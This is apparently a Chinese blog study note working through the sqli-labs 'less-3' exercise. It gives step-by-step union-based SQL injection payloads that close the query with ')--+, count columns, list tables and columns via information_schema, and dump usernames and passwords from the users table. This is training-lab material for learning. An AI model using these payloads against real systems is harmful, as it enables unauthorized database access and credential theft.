sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
加油yx17 分钟前
数据库基础
数据库
m4Rk_17 分钟前
【论文阅读】Agent 记忆机制(89):PersonaAgent——构建 Memory、Persona 与 Action 的持续反馈闭环
论文阅读·人工智能·学习·开源·github
天桥下的卖艺者18 分钟前
chrals.CTI函数升级版发布,增加了CTI衍生的脂肪指数提取
数据库·r语言
帷幕落秋32 分钟前
Mysql多实例——一个服务器多个mysql服务
运维·数据库
坤坤子吖33 分钟前
Python基础语法学习:条件、循环与程序控制
开发语言·笔记·python·学习
帷幕落秋33 分钟前
Mysql备份
运维·数据库
ShineWinsu37 分钟前
对于Redis:ZSet类型的解析
数据库·c++·redis·缓存·面试·有序集合·zset
远离UE439 分钟前
UE5.8 Substrate Glint 笔记
笔记
用户140360581938340 分钟前
Phase A · Step 3:模型导出 ONNX
笔记
胡二拉二胡41 分钟前
抗遗忘单词表 App:让单词记忆不再「背了就忘」
经验分享·笔记·学习